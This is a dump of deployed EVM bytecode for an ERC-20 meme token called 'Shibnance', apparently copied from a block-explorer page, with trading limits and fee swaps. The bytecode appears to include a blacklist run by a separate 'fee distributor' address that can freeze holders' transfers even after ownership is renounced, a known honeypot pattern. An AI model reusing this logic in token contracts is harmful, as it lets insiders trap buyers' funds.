80820191505090505b5090503081600081518110611bd9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c7b57600080fd5b505afa158015611c8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cb39190611ff8565b81600181518110611ced577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d5430601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611105565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611db8959493929190612618565b600060405180830381600087803b158015611dd257600080fd5b505af1158015611de6573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e70573d6000803e3d6000fd5b5050565b6000611eb683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a80565b905092915050565b6000808284611ecd91906126e2565b905083811015611f12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f09906124fd565b60405180910390fd5b8091505092915050565b600081359050611f2b81612ce8565b92915050565b600081519050611f4081612ce8565b92915050565b60008083601f840112611f5857600080fd5b8235905067ffffffffffffffff811115611f7157600080fd5b602083019150836020820283011115611f8957600080fd5b9250929050565b600081359050611f9f81612cff565b92915050565b600081519050611fb481612cff565b92915050565b600081359050611fc981612d16565b92915050565b600060208284031215611fe157600080fd5b6000611fef84828501611f1c565b91505092915050565b60006020828403121561200a57600080fd5b600061201884828501611f31565b91505092915050565b6000806040838503121561203457600080fd5b600061204285828601611f1c565b925050602061205385828601611f1c565b9150509250929050565b60008060006060848603121561207257600080fd5b600061208086828701611f1c565b935050602061209186828701611f1c565b92505060406120a286828701611fba565b9150509250925092565b600080604083850312156120bf57600080fd5b60006120cd85828601611f1c565b92505060206120de85828601611fba565b9150509250929050565b6000806000604084860312156120fd57600080fd5b600084013567ffffffffffffffff81111561211757600080fd5b61212386828701611f46565b9350935050602061213686828701611f90565b9150509250925092565b60006020828403121561215257600080fd5b600061216084828501611fa5565b91505092915050565b60006121758383612181565b60208301905092915050565b61218a81612937565b82525050565b61219981612937565b82525050565b60006121aa8261269d565b6121b481856126c0565b93506121bf8361268d565b8060005b838110156121f05781516121d78882612169565b97506121e2836126b3565b9250506001810190506121c3565b5085935050505092915050565b61220681612949565b82525050565b6122158161298c565b82525050565b6000612226826126a8565b61223081856126d1565b935061224081856020860161299e565b61224981612a49565b840191505092915050565b60006122616023836126d1565b915061226c82612a67565b604082019050919050565b60006122846019836126d1565b915061228f82612ab6565b602082019050919050565b60006122a76022836126d1565b91506122b282612adf565b604082019050919050565b60006122ca601b836126d1565b91506122d582612b2e565b602082019050919050565b60006122ed6020836126d1565b91506122f882612b57565b602082019050919050565b60006123106029836126d1565b915061231b82612b80565b604082019050919050565b60006123336025836126d1565b915061233e82612bcf565b604082019050919050565b6000612356601a836126d1565b915061236182612c1e565b602082019050919050565b60006123796024836126d1565b915061238482612c47565b604082019050919050565b600061239c6017836126d1565b91506123a782612c96565b602082019050919050565b60006123bf601d836126d1565b91506123ca82612cbf565b602082019050919050565b6123de81612975565b82525050565b6123ed8161297f565b82525050565b60006020820190506124086000830184612190565b92915050565b60006040820190506124236000830185612190565b6124306020830184612190565b9392505050565b600060408201905061244c6000830185612190565b61245960208301846123d5565b9392505050565b600060208201905061247560008301846121fd565b92915050565b60006020820190508181036000830152612495818461221b565b905092915050565b600060208201905081810360008301526124b681612254565b9050919050565b600060208201905081810360008301526124d681612277565b9050919050565b600060208201905081810360008301526124f68161229a565b9050919050565b60006020820190508181036000830152612516816122bd565b9050919050565b60006020820190508181036000830152612536816122e0565b9050919050565b6000602082019050818103600083015261255681612303565b9050919050565b6000602082019050818103600083015261257681612326565b9050919050565b6000602082019050818103600083015261259681612349565b9050919050565b600060208201905081810360008301526125b68161236c565b9050919050565b600060208201905081810360008301526125d68161238f565b9050919050565b600060208201905081810360008301526125f6816123b2565b9050919050565b600060208201905061261260008301846123d5565b92915050565b600060a08201905061262d60008301886123d5565b61263a602083018761220c565b818103604083015261264c818661219f565b905061265b6060830185612190565b61266860808301846123d5565b9695505050505050565b600060208201905061268760008301846123e4565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126ed82612975565b91506126f883612975565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561272d5761272c612a1a565b5b828201905092915050565b6000808291508390505b60018511156127825780860481111561275e5761275d612a1a565b5b600185161561276d5780820291505b808102905061277b85612a5a565b9450612742565b94509492505050565b600061279682612975565b91506127a18361297f565b92506127ce7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846127d6565b905092915050565b6000826127e657600190506128a2565b816127f457600090506128a2565b816001811461280a576002811461281457612843565b60019150506128a2565b60ff84111561282657612825612a1a565b5b8360020a91508482111561283d5761283c612a1a565b5b506128a2565b5060208310610133831016604e8410600b84101617156128785782820a90508381111561287357612872612a1a565b5b6128a2565b6128858484846001612738565b9250905081840481111561289c5761289b612a1a565b5b81810290505b9392505050565b60006128b482612975565b91506128bf83612975565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156128f8576128f7612a1a565b5b828202905092915050565b600061290e82612975565b915061291983612975565b92508282101561292c5761292b612a1a565b5b828203905092915050565b600061294282612955565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061299782612975565b9050919050565b60005b838110156129bc5780820151818401526020810190506129a1565b838111156129cb576000848401525b50505050565b60006129dc82612975565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612a0f57612a0e612a1a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b612cf181612937565b8114612cfc57600080fd5b50565b612d0881612949565b8114612d1357600080fd5b50565b612d1f81612975565b8114612d2a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122062d1f43886cd3a79a6195f73aa0a7ee2ab92126a1882fc2afb6ce2f96efc83f564736f6c63430008030033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c8063751039fc116100ad578063a9059cbb11610071578063a9059cbb14610311578063a9ddeaa214610341578063bf474bed1461035d578063c9567bf91461037b578063dd62ed3e146103855761012c565b8063751039fc1461028f5780637d1db4a5146102995780638da5cb5b146102b75780638f9a55c0146102d557806395d89b41146102f35761012c565b8063313ce567116100f4578063313ce567146101eb57806359b2f3a8146102095780636dd3d39f1461022557806370a0823114610255578063715018a6146102855761012c565b806306fdde0314610131578063095ea7b31461014f5780630faee56f1461017f57806318160ddd1461019d57806323b872dd146101bb575b600080fd5b6101396103b5565b604051610146919061247b565b60405180910390f35b610169600480360381019061016491906120ac565b6103f2565b6040516101769190612460565b60405180910390f35b610187610410565b60405161019491906125fd565b60405180910390f35b6101a5610416565b6040516101b291906125fd565b60405180910390f35b6101d560048036038101906101d0919061205d565b61043b565b6040516101e29190612460565b60405180910390f35b6101f3610514565b6040516102009190612672565b60405180910390f35b610223600480360381019061021e9190611fcf565b61051d565b005b61023f600480360381019061023a9190611fcf565b610650565b60405161024c9190612460565b60405180910390f35b61026f600480360381019061026a9190611fcf565b6106a6565b60405161027c91906125fd565b60405180910390f35b61028d6106ef565b005b610297610847565b005b6102a16109c4565b6040516102ae91906125fd565b60405180910390f35b6102bf6109ca565b6040516102cc91906123f3565b60405180910390f35b6102dd6109f4565b6040516102ea91906125fd565b60405180910390f35b6102fb6109fa565b604051610308919061247b565b60405180910390f35b61032b600480360381019061032691906120ac565b610a37565b6040516103389190612460565b60405180910390f35b61035b600480360381019061035691906120e8565b610a55565b005b610365610bae565b60405161037291906125fd565b60405180910390f35b610383610bb4565b005b61039f600480360381019061039a9190612021565b611076565b6040516103ac91906125fd565b60405180910390f35b60606040518060400160405280600981526020017f536869626e616e63650000000000000000000000000000000000000000000000815250905090565b60006104066103ff6110fd565b8484611105565b6001905092915050565b60135481565b60006009600a610426919061278b565b64e8d4a5100061043691906128a9565b905090565b60006104488484846112d0565b610509846104546110fd565b61050485604051806060016040528060288152602001612d2e60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ba6110fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a809092919063ffffffff16565b611105565b600190509392505050565b60006009905090565b6105256110fd565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ab9061251d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461060d57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106f76110fd565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610786576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077d9061251d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61084f6110fd565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d59061251d565b60405180910390fd5b6009600a6108ec919061278b565b64e8d4a510006108fc91906128a9565b6010819055506009600a610910919061278b565b64e8d4a5100061092091906128a9565b6011819055506009600a610934919061278b565b64e8d4a5100061094491906128a9565b6012819055506009600a610958919061278b565b64e8d4a5100061096891906128a9565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a61099d919061278b565b64e8d4a510006109ad91906128a9565b6040516109ba91906125fd565b60405180910390a1565b60105481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60115481565b60606040518060400160405280600981526020017f534849424e414e43450000000000000000000000000000000000000000000000815250905090565b6000610a4b610a446110fd565b84846112d0565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ada906125dd565b60405180910390fd5b60005b83839050811015610ba8578160056000868685818110610b2f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002016020810190610b449190611fcf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ba0906129d1565b915050610ae6565b50505050565b60125481565b610bbc6110fd565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c429061251d565b60405180910390fd5b601560149054906101000a900460ff1615610c9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c92906125bd565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d3a30601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610d25919061278b565b64e8d4a51000610d3591906128a9565b611105565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610da257600080fd5b505afa158015610db6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dda9190611ff8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e5e57600080fd5b505afa158015610e72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e969190611ff8565b6040518363ffffffff1660e01b8152600401610eb392919061240e565b602060405180830381600087803b158015610ecd57600080fd5b505af1158015610ee1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f059190611ff8565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610fe4929190612437565b602060405180830381600087803b158015610ffe57600080fd5b505af1158015611012573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110369190612140565b506001601560166101000a81548160ff0219169083151502179055506001601560146101000a81548160ff02191690831515021790555043600781905550565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611175576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116c9061259d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111dc906124dd565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112c391906125fd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611340576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113379061255d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a79061249d565b60405180910390fd5b600081116113f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ea9061253d565b60405180910390fd5b60006113fd6109ca565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561143957600090506118c7565b6114416109ca565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114af575061147f6109ca565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156118c657600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561150b57600080fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156115b65750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561160c5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156116d957601054821115611656576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164d906124bd565b60405180910390fd5b60115482611663856106a6565b61166d91906126e2565b11156116ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a59061257d565b60405180910390fd5b4360036007546116be91906126e2565b11156116d8576116cd83611ae4565b156116d757600080fd5b5b5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117815750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117df5760115482611793856106a6565b61179d91906126e2565b11156117de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d59061257d565b60405180910390fd5b5b60006117ea306106a6565b905060158054906101000a900460ff161580156118545750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561186c5750601560169054906101000a900460ff165b8015611879575060125481115b80156118885750600e54600f54115b156118c4576118aa6118a5846118a084601354611af7565b611af7565b611b10565b600047905060008111156118c2576118c147611e08565b5b505b505b5b61191982600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e7490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119c06119728284611e7490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ebe90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611a658486611e7490919063ffffffff16565b604051611a7291906125fd565b60405180910390a350505050565b6000838311158290611ac8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abf919061247b565b60405180910390fd5b5060008385611ad79190612903565b9050809150509392505050565b600080823b905060008111915050919050565b6000818311611b065782611b08565b815b905092915050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b6d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611b9b5781602001602082028036833780820191505090505b5090503081600081518110611bd9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c7b57600080fd5b505afa158015611c8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cb39190611ff8565b81600181518110611ced577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d5430601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611105565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611db8959493929190612618565b600060405180830381600087803b158015611dd257600080fd5b505af1158015611de6573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e70573d6000803e3d6000fd5b5050565b6000611eb683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a80565b905092915050565b6000808284611ecd91906126e2565b905083811015611f12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f09906124fd565b60405180910390fd5b8091505092915050565b600081359050611f2b81612ce8565b92915050565b600081519050611f4081612ce8565b92915050565b60008083601f840112611f5857600080fd5b8235905067ffffffffffffffff811115611f7157600080fd5b602083019150836020820283011115611f8957600080fd5b9250929050565b600081359050611f9f81612cff565b92915050565b600081519050611fb481612cff565b92915050565b600081359050611fc981612d16565b92915050565b600060208284031215611fe157600080fd5b6000611fef84828501611f1c565b91505092915050565b60006020828403121561200a57600080fd5b600061201884828501611f31565b91505092915050565b6000806040838503121561203457600080fd5b600061204285828601611f1c565b925050602061205385828601611f1c565b9150509250929050565b60008060006060848603121561207257600080fd5b600061208086828701611f1c565b935050602061209186828701611f1c565b92505060406120a286828701611fba565b9150509250925092565b600080604083850312156120bf57600080fd5b60006120cd85828601611f1c565b92505060206120de85828601611fba565b9150509250929050565b6000806000604084860312156120fd57600080fd5b600084013567ffffffffffffffff81111561211757600080fd5b61212386828701611f46565b9350935050602061213686828701611f90565b9150509250925092565b60006020828403121561215257600080fd5b600061216084828501611fa5565b91505092915050565b60006121758383612181565b60208301905092915050565b61218a81612937565b82525050565b61219981612937565b82525050565b60006121aa8261269d565b6121b481856126c0565b93506121bf8361268d565b8060005b838110156121f05781516121d78882612169565b97506121e2836126b3565b9250506001810190506121c3565b5085935050505092915050565b61220681612949565b82525050565b6122158161298c565b82525050565b6000612226826126a8565b61223081856126d1565b935061224081856020860161299e565b61224981612a49565b840191505092915050565b60006122616023836126d1565b915061226c82612a67565b604082019050919050565b60006122846019836126d1565b915061228f82612ab6565b602082019050919050565b60006122a76022836126d1565b91506122b282612adf565b604082019050919050565b60006122ca601b836126d1565b91506122d582612b2e565b602082019050919050565b60006122ed6020836126d1565b91506122f882612b57565b602082019050919050565b60006123106029836126d1565b915061231b82612b80565b604082019050919050565b60006123336025836126d1565b915061233e82612bcf565b604082019050919050565b6000612356601a836126d1565b915061236182612c1e565b602082019050919050565b60006123796024836126d1565b915061238482612c47565b604082019050919050565b600061239c6017836126d1565b91506123a782612c96565b602082019050919050565b60006123bf601d836126d1565b91506123ca82612cbf565b602082019050919050565b6123de81612975565b82525050565b6123ed8161297f565b82525050565b60006020820190506124086000830184612190565b92915050565b60006040820190506124236000830185612190565b6124306020830184612190565b9392505050565b600060408201905061244c6000830185612190565b61245960208301846123d5565b9392505050565b600060208201905061247560008301846121fd565b92915050565b60006020820190508181036000830152612495818461221b565b905092915050565b600060208201905081810360008301526124b681612254565b9050919050565b600060208201905081810360008301526124d681612277565b9050919050565b600060208201905081810360008301526124f68161229a565b9050919050565b60006020820190508181036000830152612516816122bd565b9050919050565b60006020820190508181036000830152612536816122e0565b9050919050565b6000602082019050818103600083015261255681612303565b9050919050565b6000602082019050818103600083015261257681612326565b9050919050565b6000602082019050818103600083015261259681612349565b9050919050565b600060208201905081810360008301526125b68161236c565b9050919050565b600060208201905081810360008301526125d68161238f565b9050919050565b600060208201905081810360008301526125f6816123b2565b9050919050565b600060208201905061261260008301846123d5565b92915050565b600060a08201905061262d60008301886123d5565b61263a602083018761220c565b818103604083015261264c818661219f565b905061265b6060830185612190565b61266860808301846123d5565b9695505050505050565b600060208201905061268760008301846123e4565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126ed82612975565b91506126f883612975565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561272d5761272c612a1a565b5b828201905092915050565b6000808291508390505b60018511156127825780860481111561275e5761275d612a1a565b5b600185161561276d5780820291505b808102905061277b85612a5a565b9450612742565b94509492505050565b600061279682612975565b91506127a18361297f565b92506127ce7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846127d6565b905092915050565b6000826127e657600190506128a2565b816127f457600090506128a2565b816001811461280a576002811461281457612843565b60019150506128a2565b60ff84111561282657612825612a1a565b5b8360020a91508482111561283d5761283c612a1a565b5b506128a2565b5060208310610133831016604e8410600b84101617156128785782820a90508381111561287357612872612a1a565b5b6128a2565b6128858484846001612738565b9250905081840481111561289c5761289b612a1a565b5b81810290505b9392505050565b60006128b482612975565b91506128bf83612975565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156128f8576128f7612a1a565b5b828202905092915050565b600061290e82612975565b915061291983612975565b92508282101561292c5761292b612a1a565b5b828203905092915050565b600061294282612955565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061299782612975565b9050919050565b60005b838110156129bc5780820151818401526020810190506129a1565b838111156129cb576000848401525b50505050565b60006129dc82612975565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612a0f57612a0e612a1a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b612cf181612937565b8114612cfc57600080fd5b50565b612d0881612949565b8114612d1357600080fd5b50565b612d1f81612975565b8114612d2a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122062d1f43886cd3a79a6195f73aa0a7ee2ab92126a1882fc2afb6ce2f96efc83f564736f6c63430008030033

Deployed Bytecode Sourcemap

